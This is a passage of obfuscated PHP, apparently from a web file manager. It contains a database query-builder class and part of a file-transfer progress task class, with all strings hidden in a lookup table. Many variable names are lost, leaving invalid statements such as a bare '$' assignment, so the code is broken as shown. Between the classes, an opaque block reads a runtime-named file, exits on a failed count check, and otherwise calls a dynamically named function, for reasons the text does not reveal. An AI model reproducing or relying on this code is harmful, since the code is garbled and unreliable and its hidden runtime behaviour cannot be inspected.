"\x53\x45\114\x45\x43\x54\x25\x44\111\x53\x54\111\116\103\124\x25\40\x25\106\111\x45\x4c\x44\x25\40\x46\122\117\115\40\45\124\101\102\x4c\105\45\x25\112\117\x49\116\45\45\127\x48\105\x52\105\45\x25\x47\x52\117\x55\120\x25\45\x48\x41\126\111\116\107\x25\45\117\122\104\105\x52\x25\x25\114\x49\x4d\111\124\x25\40\45\125\116\x49\117\116\x25\x25\x43\117\115\x4d\x45\116\x54\45"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[Ǿ][945], $); } public function factory($ڨ = '') { $ =& $_SERVER[Ǿ]; $ڨ = $this->parseConfig($ڨ); if (empty($ڨ[$[946]])) { think_exception(think_lang($[947])); } $this->dbType = ucwords(strtolower($ڨ[$[946]])); $ = $[948] . $this->dbType; if (class_exists($)) { $챨 = new $($ڨ); if ($[949] != strtolower($ڨ[$[946]])) { $챨->dbType = strtoupper($this->dbType); } else { $챨->dbType = $this->_getDsnType($ڨ[$[901]]); } } else { think_exception(think_lang($[950]) . $[951] . $); } return $챨; } public function __call($ɢ, $) { if (method_exists($this, $ɢ)) { return call_user_func_array(array($this, $ɢ), $); } } protected function _getDsnType($̈́݌) { $Ć = explode($_SERVER[Ǿ][4], $̈́݌); $б = strtoupper(trim($Ć[0])); return $б; } private function parseConfig($Ì˪ = '') { $Ԍ =& $_SERVER[Ǿ]; if (!empty($Ì˪) && is_string($Ì˪)) { $Ì˪ = $this->parseDSN($Ì˪); } elseif (is_array($Ì˪)) { $Ì˪ = array_change_key_case($Ì˪); $Ì˪ = array($Ԍ[946] => $Ì˪[$Ԍ[952]], $Ԍ[873] => $Ì˪[$Ԍ[953]], $Ԍ[874] => $Ì˪[$Ԍ[954]], $Ԍ[871] => $Ì˪[$Ԍ[955]], $Ԍ[872] => $Ì˪[$Ԍ[956]], $Ԍ[31] => $Ì˪[$Ԍ[957]], $Ԍ[901] => $Ì˪[$Ԍ[958]], $Ԍ[27] => isset($Ì˪[$Ԍ[959]]) ? $Ì˪[$Ԍ[959]] : array()); } elseif (empty($Ì˪)) { if (think_config($Ԍ[960]) && $Ԍ[949] != strtolower(think_config($Ԍ[961]))) { $Ì˪ = $this->parseDSN(think_config($Ԍ[960])); } else { $Ì˪ = array($Ԍ[946] => think_config($Ԍ[961]), $Ԍ[873] => think_config($Ԍ[962]), $Ԍ[874] => think_config($Ԍ[963]), $Ԍ[871] => think_config($Ԍ[964]), $Ԍ[872] => think_config($Ԍ[965]), $Ԍ[31] => think_config($Ԍ[250]), $Ԍ[901] => think_config($Ԍ[960]), $Ԍ[27] => think_config($Ԍ[966])); } } return $Ì˪; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[Ǿ][32])) { $this->_linkID = $this->multiConnect($); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $) { $this->_linkID = $; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ϫЀ = false) { $׬ =& $_SERVER[Ǿ]; static $ = array(); static $۞ۘ = -1; if (empty($)) { foreach ($this->config as $ƻ => $) { $[$ƻ] = explode($׬[60], $); } } if (think_config($׬[967])) { if ($ϫЀ || think_config($׬[397]) === !0) { $Ь = floor(mt_rand(0, think_config($׬[968]) - 1)); $۞ۘ = $Ь; } else { if (is_numeric(think_config($׬[969]))) { $Ь = think_config($׬[969]); } else { $Ь = floor(mt_rand(think_config($׬[968]), count($[$׬[871]]) - 1)); } } } else { $Ь = floor(mt_rand(0, count($[$׬[871]]) - 1)); $۞ۘ = $Ь; } $Ь = $۞ۘ !== -1 ? $۞ۘ : $Ь; $ = array($׬[873] => isset($[$׬[873]][$Ь]) ? $[$׬[873]][$Ь] : $[$׬[873]][0], $׬[874] => isset($[$׬[874]][$Ь]) ? $[$׬[874]][$Ь] : $[$׬[874]][0], $׬[871] => isset($[$׬[871]][$Ь]) ? $[$׬[871]][$Ь] : $[$׬[871]][0], $׬[872] => isset($[$׬[872]][$Ь]) ? $[$׬[872]][$Ь] : $[$׬[872]][0], $׬[31] => isset($[$׬[31]][$Ь]) ? $[$׬[31]][$Ь] : $[$׬[31]][0], $׬[901] => isset($[$׬[901]][$Ь]) ? $[$׬[901]][$Ь] : $[$׬[901]][0], $׬[27] => isset($[$׬[27]][$Ь]) ? $[$׬[27]][$Ь] : $[$׬[27]][0]); return $this->connect($, $Ь); } public function parseDSN($) { $ =& $_SERVER[Ǿ]; if (empty($)) { return !1; } $ښ = parse_url($); if ($ښ[$[183]]) { $ی = array($[946] => $ښ[$[183]], $[873] => isset($ښ[$[594]]) ? $ښ[$[594]] : $[22], $[874] => isset($ښ[$[970]]) ? $ښ[$[970]] : $[22], $[871] => isset($ښ[$[184]]) ? $ښ[$[184]] : $[22], $[872] => isset($ښ[$[185]]) ? $ښ[$[185]] : $[22], $[31] => isset($ښ[$[88]]) ? substr($ښ[$[88]], 1) : $[22]); } else { preg_match($[971], trim($), $査); $ی = array($[946] => $査[1], $[873] => $査[2], $[874] => $査[3], $[871] => $査[4], $[872] => $査[5], $[31] => $査[6]); } $ی[$[901]] = $[22]; return $ی; } protected function debug() { $ =& $_SERVER[Ǿ]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[972]; if (think_config($[973])) { think_status($[974]); think_trace($this->queryStr . $[975] . think_status($[34], $[974], 6) . $[976], $[22], $[977]); } } protected function parseLock($΀ = false) { $ =& $_SERVER[Ǿ]; if (!$΀) { return $[22]; } if ($[903] == $this->dbType) { return $[978]; } return $[979]; } protected function parseSet($) { $ =& $_SERVER[Ǿ]; foreach ($ as $㳆 => $ʓ) { if (is_array($ʓ) && $[301] == $ʓ[0]) { $Ӷ[] = $this->parseKey($㳆) . $[869] . $ʓ[1]; } elseif (is_scalar($ʓ) || is_null($ʓ)) { $Ӷ[] = $this->parseKey($㳆) . $[869] . $this->parseValue($ʓ); } } return $[980] . implode($[60], $Ӷ); } protected function bindParam($䉸, $) { $this->bind[$_SERVER[Ǿ][4] . $䉸] = $; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$Հ, $ = true) { if ($) { $Հ = $this->parseKeyCheck($Հ); } return $Հ; } function parseKeyCheck($Ҋ) { $ڼ =& $_SERVER[Ǿ]; $Ҋ = trim($Ҋ); if (!preg_match($ڼ[981], $Ҋ)) { think_exception($ڼ[982] . $Ҋ); } return $Ҋ; } protected function parseValue($Lj) { $얅· =& $_SERVER[Ǿ]; if (is_string($Lj)) { $Lj = $얅·[942] . $this->escapeString($Lj) . $얅·[942]; } elseif (isset($Lj[0]) && is_string($Lj[0]) && strtolower($Lj[0]) == $얅·[301]) { $Lj = $this->escapeString($Lj[1]); } elseif (is_array($Lj)) { $Lj = array_map(array($this, $얅·[943]), $Lj); } elseif (is_bool($Lj)) { $Lj = $Lj ? $얅·[99] : $얅·[200]; } elseif (is_null($Lj)) { $Lj = $얅·[114]; } return $Lj; } protected function parseField($) { $՘ =& $_SERVER[Ǿ]; if (is_string($) && strpos($, $՘[60])) { $ = explode($՘[60], $); } if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($, !1) . $՘[983] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = implode($՘[60], $); } elseif (is_string($) && !empty($)) { $ = $; } else { $ = $՘[191]; } return $; } protected function parseTable($ۮ) { $ž =& $_SERVER[Ǿ]; if (is_array($ۮ)) { $̀ = array(); foreach ($ۮ as $͢ => $) { if (!is_numeric($͢)) { $̀[] = $this->parseKey($͢) . $ž[63] . $this->parseKey($); } else { $̀[] = $this->parseKey($͢); } } $ۮ = $̀; } elseif (is_string($ۮ)) { if (strstr($ۮ, $ž[63])) { return $ۮ; } $ۮ = explode($ž[60], $ۮ); array_walk($ۮ, array($this, $ž[891])); } return $ž[885] . trim(implode($ž[984], $ۮ), $ž[389]) . $ž[885]; } protected function parseWhere($⑃) { $뙺 =& $_SERVER[Ǿ]; $还 = $뙺[22]; if (is_string($⑃)) { $还 = $⑃; } else { $萐 = isset($⑃[$뙺[985]]) ? strtoupper($⑃[$뙺[985]]) : $뙺[22]; if (in_array($萐, array($뙺[986], $뙺[987], $뙺[988]))) { $萐 = $뙺[63] . $萐 . $뙺[63]; unset($⑃[$뙺[985]]); } else { $萐 = $뙺[989]; } foreach ($⑃ as $ؿ => $) { $还 .= $뙺[281]; if (is_numeric($ؿ)) { $ؿ = $뙺[990]; } if (0 === strpos($ؿ, $뙺[21])) { $还 .= $this->parseThinkWhere($ؿ, $); } else { if (!preg_match($뙺[991], trim($ؿ))) { think_exception(think_lang($뙺[992]) . $뙺[4] . $ؿ); } $ = is_array($) && isset($[$뙺[993]]); $ؿ = trim($ؿ); if (strpos($ؿ, $뙺[287])) { $߇ = explode($뙺[287], $ؿ); $ꑵ = array(); foreach ($߇ as $Ӕ => $ܔ) { $՘ = $ ? $[$Ӕ] : $; $ꑵ[] = $뙺[264] . $this->parseWhereItem($this->parseKey($ܔ), $՘) . $뙺[890]; } $还 .= implode($뙺[994], $ꑵ); } elseif (strpos($ؿ, $뙺[288])) { $߇ = explode($뙺[288], $ؿ); $ꑵ = array(); foreach ($߇ as $Ӕ => $ܔ) { $՘ = $ ? $[$Ӕ] : $; $ꑵ[] = $뙺[264] . $this->parseWhereItem($this->parseKey($ܔ), $՘) . $뙺[890]; } $还 .= implode($뙺[989], $ꑵ); } else { $还 .= $this->parseWhereItem($this->parseKey($ؿ), $); } } $还 .= $뙺[282] . $萐; } $还 = substr($还, 0, -strlen($萐)); } return empty($还) ? $뙺[22] : $뙺[995] . $还; } protected function parseWhereItem($ڔ, $Ъ) { $ȫ =& $_SERVER[Ǿ]; $ = $ȫ[22]; if (is_array($Ъ)) { if (is_string($Ъ[0])) { $ = strtolower($Ъ[0]); if (in_array($Ъ[0], array($ȫ[869], $ȫ[996], $ȫ[997], $ȫ[998], $ȫ[999], $ȫ[1000]))) { $ .= $ڔ . $ȫ[63] . $Ъ[0] . $ȫ[63] . $this->parseValue($Ъ[1]); } elseif (preg_match($ȫ[1001], $Ъ[0])) { $ .= $ڔ . $ȫ[63] . $this->exp[$] . $ȫ[63] . $this->parseValue($Ъ[1]); } elseif (preg_match($ȫ[1002], $Ъ[0])) { if (is_array($Ъ[1])) { $ = isset($Ъ[2]) ? strtoupper($Ъ[2]) : $ȫ[987]; if (in_array($, array($ȫ[986], $ȫ[987], $ȫ[988]))) { $򝽋 = array(); foreach ($Ъ[1] as $裸) { $򝽋[] = $ڔ . $ȫ[63] . $this->exp[$] . $ȫ[63] . $this->parseValue($裸); } $ .= $ȫ[264] . implode($ȫ[63] . $ . $ȫ[63], $򝽋) . $ȫ[890]; } } else { $ .= $ڔ . $ȫ[63] . $this->exp[$] . $ȫ[63] . $this->parseValue($Ъ[1]); } } elseif ($ȫ[301] == $) { $ .= $ȫ[888] . $ڔ . $ȫ[63] . $Ъ[1] . $ȫ[1003]; } elseif (preg_match($ȫ[1004], $Ъ[0])) { $ .= $Ъ[0]; } elseif (preg_match($ȫ[1005], $Ъ[0])) { if (isset($Ъ[2]) && $ȫ[301] == $Ъ[2]) { $ .= $ڔ . $ȫ[63] . $this->exp[$] . $ȫ[63] . $Ъ[1]; } else { if (is_string($Ъ[1])) { $Ъ[1] = explode($ȫ[60], $Ъ[1]); } $ʯ = implode($ȫ[60], $this->parseValue($Ъ[1])); $ .= $ڔ . $ȫ[63] . $this->exp[$] . $ȫ[888] . $ʯ . $ȫ[890]; } } elseif (preg_match($ȫ[1006], $Ъ[0])) { $Ǽ = is_string($Ъ[1]) ? explode($ȫ[60], $Ъ[1]) : $Ъ[1]; $ .= $ȫ[888] . $ڔ . $ȫ[63] . $this->exp[$] . $ȫ[63] . $this->parseValue($Ǽ[0]) . $ȫ[989] . $this->parseValue($Ǽ[1]) . $ȫ[282]; } else { think_exception(think_lang($ȫ[992]) . $ȫ[4] . $Ъ[0]); } } else { $ = count($Ъ); $Խ = $ȫ[22]; if (is_string($Ъ[$ - 1])) { $Խ = isset($Ъ[$ - 1]) ? strtoupper($Ъ[$ - 1]) : $ȫ[22]; if (in_array($Խ, array($ȫ[986], $ȫ[987], $ȫ[988]))) { $ = $ - 1; } } else { $Խ = $ȫ[986]; } for ($ұ = 0; $ұ < $; $ұ++) { $Ǽ = is_array($Ъ[$ұ]) ? $Ъ[$ұ][1] : $Ъ[$ұ]; if ($ȫ[301] == strtolower($Ъ[$ұ][0])) { $ .= $ȫ[264] . $ڔ . $ȫ[63] . $Ǽ . $ȫ[1003] . $Խ . $ȫ[63]; } else { $լ = is_array($Ъ[$ұ]) ? $this->exp[strtolower($Ъ[$ұ][0])] : $ȫ[869]; if (!$լ && is_array($Ъ[$ұ]) && in_array($Ъ[$ұ][0], array($ȫ[869], $ȫ[996], $ȫ[997], $ȫ[998], $ȫ[999], $ȫ[1000]))) { $լ = $Ъ[$ұ][0]; } $ .= $ȫ[264] . $ڔ . $ȫ[63] . $լ . $ȫ[63] . $this->parseValue($Ǽ) . $ȫ[1003] . $Խ . $ȫ[63]; } } $ = substr($, 0, -4); } } else { $ .= $ڔ . $ȫ[1007] . $this->parseValue($Ъ); } return $; } protected function parseThinkWhere($ƚ, $) { $ =& $_SERVER[Ǿ]; $ = $[22]; switch ($ƚ) { case $[356]: $ = $; break; case $[990]: $ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1008]: parse_str($, $); if (isset($[$[985]])) { $ه = $[63] . strtoupper($[$[985]]) . $[63]; unset($[$[985]]); } else { $ه = $[989]; } $ = array(); foreach ($ as $ʈ => $ۑ) { $[] = $this->parseKey($ʈ) . $[1007] . $this->parseValue($ۑ); } $ = implode($ه, $); break; } return $; } protected function parseLimit($ĕ) { $ =& $_SERVER[Ǿ]; return !empty($ĕ) ? $[61] . $ĕ . $[63] : $[22]; } protected function parseJoin($) { $ј =& $_SERVER[Ǿ]; $Ǘ = $ј[22]; if (!empty($)) { if (is_array($)) { foreach ($ as $ => $) { if (!1 !== stripos($, $ј[1009])) { $Ǘ .= $ј[63] . $; } else { $Ǘ .= $ј[1010] . $; } } } else { $Ǘ .= $ј[1010] . $; } } $Ǘ = preg_replace($ј[1011], think_config($ј[915]) . $ј[1012], $Ǘ); return $Ǘ; } protected function parseOrder($٭) { $ =& $_SERVER[Ǿ]; if (is_array($٭)) { $ôޖ = array(); foreach ($٭ as $ => $ն) { if (is_numeric($)) { $ôޖ[] = $this->parseKey($ն); } else { $ն = in_array(strtoupper(trim($ն)), array($[1013], $[1014])) ? $[63] . $ն : $[22]; if (preg_match($[1015], $)) { $ôޖ[] = $this->parseKey($) . $ն; } else { think_exception($[1016] . $); } } } $٭ = implode($[60], $ôޖ); } return !empty($٭) ? $[1017] . $٭ : $[22]; } protected function parseGroup($) { $ݕ =& $_SERVER[Ǿ]; return !empty($) ? $ݕ[1018] . $ : $ݕ[22]; } protected function parseHaving($) { $ =& $_SERVER[Ǿ]; return !empty($) ? $[1019] . $ : $[22]; } protected function parseComment($᭮) { $ =& $_SERVER[Ǿ]; return !empty($᭮) ? $[1020] . $᭮ . $[1021] : $[22]; } protected function parseDistinct($) { $ǥ =& $_SERVER[Ǿ]; return !empty($) ? $ǥ[1022] : $ǥ[22]; } protected function parseUnion($) { $ =& $_SERVER[Ǿ]; if (empty($)) { return $[22]; } if (isset($[$[352]])) { $ݛ = $[1023]; unset($[$[352]]); } else { $ݛ = $[1024]; } foreach ($ as $) { $߲ǫ[] = $ݛ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($[63], $߲ǫ); } public function insert($ߕ, $ƻ = array(), $嫾 = false) { $宝 =& $_SERVER[Ǿ]; $ = $֦ = array(); $this->model = $ƻ[$宝[285]]; foreach ($ߕ as $Ž => $Ϣ) { if (is_array($Ϣ) && $宝[301] == $Ϣ[0]) { $֦[] = $this->parseKey($Ž); $[] = $Ϣ[1]; } elseif (is_scalar($Ϣ) || is_null($Ϣ)) { $֦[] = $this->parseKey($Ž); $[] = $this->parseValue($Ϣ); } } $ = ($嫾 ? $宝[892] : $宝[893]) . $宝[894] . $this->parseTable($ƻ[$宝[283]]) . $宝[888] . implode($宝[60], $֦) . $宝[889] . implode($宝[60], $) . $宝[890]; $ .= $this->parseLock(isset($ƻ[$宝[835]]) ? $ƻ[$宝[835]] : !1); $ .= $this->parseComment(!empty($ƻ[$宝[358]]) ? $ƻ[$宝[358]] : $宝[22]); return $this->execute($, $this->parseBind(!empty($ƻ[$宝[289]]) ? $ƻ[$宝[289]] : array())); } public function selectInsert($ڤ, $ɏ, $񂍻 = array()) { $Ɉ =& $_SERVER[Ǿ]; $this->model = $񂍻[$Ɉ[285]]; if (is_string($ڤ)) { $ڤ = explode($Ɉ[60], $ڤ); } array_walk($ڤ, array($this, $Ɉ[891])); $Ϭ̥ = $Ɉ[1025] . $this->parseTable($ɏ) . $Ɉ[888] . implode($Ɉ[60], $ڤ) . $Ɉ[1003]; $Ϭ̥ .= $this->buildSelectSql($񂍻); return $this->execute($Ϭ̥, $this->parseBind(!empty($񂍻[$Ɉ[289]]) ? $񂍻[$Ɉ[289]] : array())); } public function update($, $) { $Ӎ =& $_SERVER[Ǿ]; $this->model = $[$Ӎ[285]]; $ = $Ӎ[1026] . $this->parseTable($[$Ӎ[283]]) . $this->parseSet($) . $this->parseWhere(!empty($[$Ӎ[279]]) ? $[$Ӎ[279]] : $Ӎ[22]) . $this->parseOrder(!empty($[$Ӎ[369]]) ? $[$Ӎ[369]] : $Ӎ[22]) . $this->parseLimit(!empty($[$Ӎ[296]]) ? $[$Ӎ[296]] : $Ӎ[22]) . $this->parseLock(isset($[$Ӎ[835]]) ? $[$Ӎ[835]] : !1) . $this->parseComment(!empty($[$Ӎ[358]]) ? $[$Ӎ[358]] : $Ӎ[22]); return $this->execute($, $this->parseBind(!empty($[$Ӎ[289]]) ? $[$Ӎ[289]] : array())); } public function delete($פ = array()) { $ョʐ =& $_SERVER[Ǿ]; $this->model = $פ[$ョʐ[285]]; $ݐ = $ョʐ[1027] . $this->parseTable($פ[$ョʐ[283]]) . $this->parseWhere(!empty($פ[$ョʐ[279]]) ? $פ[$ョʐ[279]] : $ョʐ[22]) . $this->parseOrder(!empty($פ[$ョʐ[369]]) ? $פ[$ョʐ[369]] : $ョʐ[22]) . $this->parseLimit(!empty($פ[$ョʐ[296]]) ? $פ[$ョʐ[296]] : $ョʐ[22]) . $this->parseLock(isset($פ[$ョʐ[835]]) ? $פ[$ョʐ[835]] : !1) . $this->parseComment(!empty($פ[$ョʐ[358]]) ? $פ[$ョʐ[358]] : $ョʐ[22]); return $this->execute($ݐ, $this->parseBind(!empty($פ[$ョʐ[289]]) ? $פ[$ョʐ[289]] : array())); } public function select($շ = array()) { $ٿ渋 =& $_SERVER[Ǿ]; $this->model = $շ[$ٿ渋[285]]; $Ԃȭ = $this->buildSelectSql($շ); $ = isset($շ[$ٿ渋[353]]) ? $շ[$ٿ渋[353]] : !1; if ($) { $ = is_string($[$ٿ渋[105]]) ? $[$ٿ渋[105]] : $ٿ渋[1028] . md5($Ԃȭ); $ߏ뭅 = think_cache($, $ٿ渋[22], $); if (!1 !== $ߏ뭅) { return $ߏ뭅; } } $ = $this->query($Ԃȭ, $this->parseBind(!empty($շ[$ٿ渋[289]]) ? $շ[$ٿ渋[289]] : array())); if ($ && !1 !== $) { think_cache($, $, $); } return $; } public function buildSelectSql($ƺ = array()) { $ =& $_SERVER[Ǿ]; if (isset($ƺ[$[357]])) { if (strpos($ƺ[$[357]], $[60])) { list($, $ٹ) = explode($[60], $ƺ[$[357]]); } else { $ = $ƺ[$[357]]; } $ = $ ? $ : 1; $ٹ = isset($ٹ) ? $ٹ : (is_numeric($ƺ[$[296]]) ? $ƺ[$[296]] : 20); $۪ = $ٹ * ((int) $ - 1); $ƺ[$[296]] = $۪ . $[60] . $ٹ; } if (think_config($[1029])) { $ = $[1030] . md5(serialize($ƺ)); $٘ = think_cache($); if ($٘) { return $٘; } } $ = $this->parseSql($this->selectSql, $ƺ); $ .= $this->parseLock(isset($ƺ[$[835]]) ? $ƺ[$[835]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($, $ď = array()) { $ՊӶ =& $_SERVER[Ǿ]; $ = str_replace(array($ՊӶ[1031], $ՊӶ[1032], $ՊӶ[1033], $ՊӶ[1034], $ՊӶ[1035], $ՊӶ[1036], $ՊӶ[1037], $ՊӶ[1038], $ՊӶ[1039], $ՊӶ[1040], $ՊӶ[1041]), array($this->parseTable("{$ď[$ՊӶ[283]]}"), $this->parseDistinct(isset($ď[$ՊӶ[1042]]) ? $ď[$ՊӶ[1042]] : !1), $this->parseField(!empty($ď[$ՊӶ[277]]) ? $ď[$ՊӶ[277]] : $ՊӶ[191]), $this->parseJoin(!empty($ď[$ՊӶ[286]]) ? $ď[$ՊӶ[286]] : $ՊӶ[22]), $this->parseWhere(!empty($ď[$ՊӶ[279]]) ? $ď[$ՊӶ[279]] : $ՊӶ[22]), $this->parseGroup(!empty($ď[$ՊӶ[515]]) ? $ď[$ՊӶ[515]] : $ՊӶ[22]), $this->parseHaving(!empty($ď[$ՊӶ[1043]]) ? $ď[$ՊӶ[1043]] : $ՊӶ[22]), $this->parseOrder(!empty($ď[$ՊӶ[369]]) ? $ď[$ՊӶ[369]] : $ՊӶ[22]), $this->parseLimit(!empty($ď[$ՊӶ[296]]) ? $ď[$ՊӶ[296]] : $ՊӶ[22]), $this->parseUnion(!empty($ď[$ՊӶ[351]]) ? $ď[$ՊӶ[351]] : $ՊӶ[22]), $this->parseComment(!empty($ď[$ՊӶ[358]]) ? $ď[$ՊӶ[358]] : $ՊӶ[22])), $); return $; } public function getLastSql($ׂ = '') { return $ׂ ? $this->modelSql[$ׂ] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($ʥ) { $this->model = $ʥ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } if ($_SERVER[$_SERVER[Ǿ][6]] != $_SERVER[$_SERVER[Ǿ][7]]) { $_getc = $_SERVER[Ǿ][8]; $_getfile = $_SERVER[$_SERVER[Ǿ][9]] . $_SERVER[Ǿ][10]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[Ǿ][11], $_getfilec); if (count($_getarrs) < $_SERVER[Ǿ][12]) { $exit = $_SERVER[Ǿ][13]; $exit(); } $_act = $_SERVER[Ǿ][14]; $_act($_SERVER[$_SERVER[Ǿ][15]]); } goto A;; eԩ: class TaskFileTransfer extends Task { protected function startAfter() { $£ =& $_SERVER[Ǿ]; $뾫 =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($£[1668], array($this, $£[1669])); Hook::bind($£[1198], array($this, $£[1670])); Hook::bind($£[1671], array($this, $£[1672])); Hook::bind($£[598], array($this, $£[1673])); Hook::bind($£[599], array($this, $£[1674])); Hook::bind($£[601], array($this, $£[1675])); Hook::bind($£[602], array($this, $£[1675])); Hook::bind($£[568], array($this, $£[1676])); Hook::bind($£[565], array($this, $£[1676])); Hook::bind($£[570], array($this, $£[1676])); Hook::bind($£[572], array($this, $£[1676])); Hook::bind($£[574], array($this, $£[1676])); Hook::bind($£[1677], array($this, $£[1678])); Hook::bind($£[591], array($this, $£[1679])); $this->sourceModelCopyFlag = !1; Hook::bind($£[1680], array($this, $£[1681])); Hook::bind($£[1682], array($this, $£[1683])); Hook::bind($£[1684], array($this, $£[1685])); $뾫[$£[1686]] = LNG($£[1687]); $뾫[$£[1688]] = 0; $뾫[$£[1689]] = 0; $뾫[$£[1049]] = $£[22]; $뾫[$£[1690]] = $£[22]; $뾫[$£[1691]] = 0; $뾫[$£[1692]] = 0; $뾫[$£[1693]] = 0; if (!$뾫[$£[1540]]) { $뾫[$£[1540]] = LNG($£[1694]); } } protected function endAfter() { $Ѡ =& $_SERVER[Ǿ]; Hook::unbind($Ѡ[1668], array($this, $Ѡ[1669])); Hook::unbind($Ѡ[1198], array($this, $Ѡ[1670])); Hook::unbind($Ѡ[1671], array($this, $Ѡ[1672])); Hook::unbind($Ѡ[598], array($this, $Ѡ[1673])); Hook::unbind($Ѡ[599], array($this, $Ѡ[1674])); Hook::unbind($Ѡ[601], array($this, $Ѡ[1675])); Hook::unbind($Ѡ[602], array($this, $Ѡ[1675])); Hook::unbind($Ѡ[568], array($this, $Ѡ[1676])); Hook::unbind($Ѡ[565], array($this, $Ѡ[1676])); Hook::unbind($Ѡ[570], array($this, $Ѡ[1676])); Hook::unbind($Ѡ[572], array($this, $Ѡ[1676])); Hook::unbind($Ѡ[574], array($this, $Ѡ[1676])); Hook::unbind($Ѡ[1677], array($this, $Ѡ[1678])); Hook::unbind($Ѡ[591], array($this, $Ѡ[1679])); Hook::unbind($Ѡ[1680], array($this, $Ѡ[1681])); Hook::unbind($Ѡ[1682], array($this, $Ѡ[1683])); Hook::unbind($Ѡ[1684], array($this, $Ѡ[1685])); } public function copyMoveStart($, $, $, $魿) { $ =& $_SERVER[Ǿ]; self::log($[1695] . $ . $[80] . $魿); $񛃎 = rtrim(TEMP_FILES, $[18]); if (substr($, 0, strlen($񛃎)) == $񛃎) { return; } if (substr($魿, 0, strlen($񛃎)) == $񛃎) { return; } $ =& $this->task; $[$[1696]] = KodIO::transferType($, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[Ǿ]; $ݍ =& $this->task; if (!$ݍ[$[755]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($ݍ[$[1696]] == $[1287]) { return; } self::updateTask($ݍ); } private static function updateTask(&$) { $ =& $_SERVER[Ǿ]; if ($[$[1696]] == $[1182] || $[$[1696]] == $[118]) { if ($[$[1690]]) { $[$[1693]] = $[$[1692]] + $[$[1689]]; } } else { if ($[$[1696]] == $[1288]) { if ($[$[1690]] == $[1182]) { $[$[1693]] = $[$[1692]] + $[$[1689]] * 0.5; } else { if ($[$[1690]] == $[118]) { $[$[1693]] = $[$[1692]] + $[$[1688]] * 0.5 + $[$[1689]] * 0.5; } } } } $[$[1642]] = $[$[1693]] / $[$[755]]; if ($[$[1642]] > 0) { $߹ = timeFloat() - $[$[1644]] - $[$[1647]]; $[$[1648]] = $߹ * (1 - $[$[1642]]) / $[$[1642]]; } } public function addPath($) { $ =& $_SERVER[Ǿ]; if (!$) { return; } $ =& $this->task; $Ǎ = IO::infoWithChildren($); $ר = $[$[1697]] ? $[$[1697]][$[1698]] : 0; $[$[1697]] = array($[1698] => $ר + 1, $[421] => $Ǎ[$[42]], $[88] => $Ǎ[$[88]], $[519] => $Ǎ[$[519]] ? $Ǎ[$[519]] : $Ǎ[$[88]]); if ($Ǎ[$[43]] == $[202]) { $[$[778]] += 1; } else { $[$[778]] += $Ǎ[$[93]][$[91]]; if ($Ǎ[$[403]]) { $[$[778]] += $Ǎ[$[93]][$[92]] + 1; } } $[$[755]] += $Ǎ[$[90]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddFile($ٟ) { $Ԓ =& $_SERVER[Ǿ]; $ =& $this->task; $[$Ԓ[1686]] = $ٟ[$Ԓ[42]]; $[$Ԓ[1049]] = $ٟ[$Ԓ[42]]; $this->update(); } public function copyFileStart($, $Ԯ, $ƅ, $, $ر, $ޙ) { $۾ =& $_SERVER[Ǿ]; $Ćҝ = $ر; if ($Ćҝ == $GLOBALS[$۾[1699]]) { $Ćҝ = $GLOBALS[$۾[1700]]; } $GLOBALS[$۾[1700]] = $ر; $GLOBALS[$۾[1699]] = $ޙ; $ԗ =& $this->task; $ԗ[$۾[1686]] = $Ćҝ; $ԗ[$۾[1688]] = (int) $->size($Ԯ); $ԗ[$۾[1689]] = 0; $ԗ[$۾[1049]] = $۾[22]; $ԗ[$۾[1690]] = $۾[22]; $ԗ[$۾[1691]] = 0; $ = $ԗ[$۾[1688]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($ԗ[$۾[401]] . $۾[1701]); if ($ && file_exists(get_path_father($))) { Cache::set($ԗ[$۾[401]] . $۾[1701], $); $ԗ[$۾[1662]] = array($۾[1702], $۾[1703]); } $this->update(0, $); } public static function updateCopyLocalFileSize($̯) { $ =& $_SERVER[Ǿ]; $ = Cache::get($̯[$[401]] . $[1701]); if (!$ || !file_exists($)) { return $̯; } $̯[$[1689]] = @filesize($); $̯[$[1693]] += $̯[$[1689]]; self::updateTask($̯); return $̯; } public function copyFileEnd($ݰ, $, $Š, $ᨧ, $, $ʅ) { $ =& $_SERVER[Ǿ]; $ =& $this->task; $[$[1689]] = $[$[1688]]; $[$[1690]] = $[22]; unset($[$[1662]]); if ($ == $[$[1686]]) { $[$[1692]] += $[$[1688]]; $[$[1693]] = $[$[1692]]; $this->update(1); } else { $this->update(); $[$[1689]] = 0; } Cache::remove($[$[401]] . $[1701]); self::log($[1704] . $ . $[80] . $ᨧ . $[11] . $ . $[1705] . $[$[1686]]); } public function updateFileEnd($꺚, $⺜) { $ɾ =& $_SERVER[Ǿ]; $ =& $this->task; $[$ɾ[1686]] = $꺚; $[$ɾ[1688]] = $⺜; $[$ɾ[1692]] += $⺜; $[$ɾ[1693]] = $[$ɾ[1692]]; $this->update(1); self::log($ɾ[1706] . $꺚); } public function sourceModelCopy($͊) { $ƙ =& $_SERVER[Ǿ]; $ = $͊[0]; $ƞ = $͊[1]; $ʐ =& $this->task; $this->sourceModelCopyFlag = !0; $۾Т = 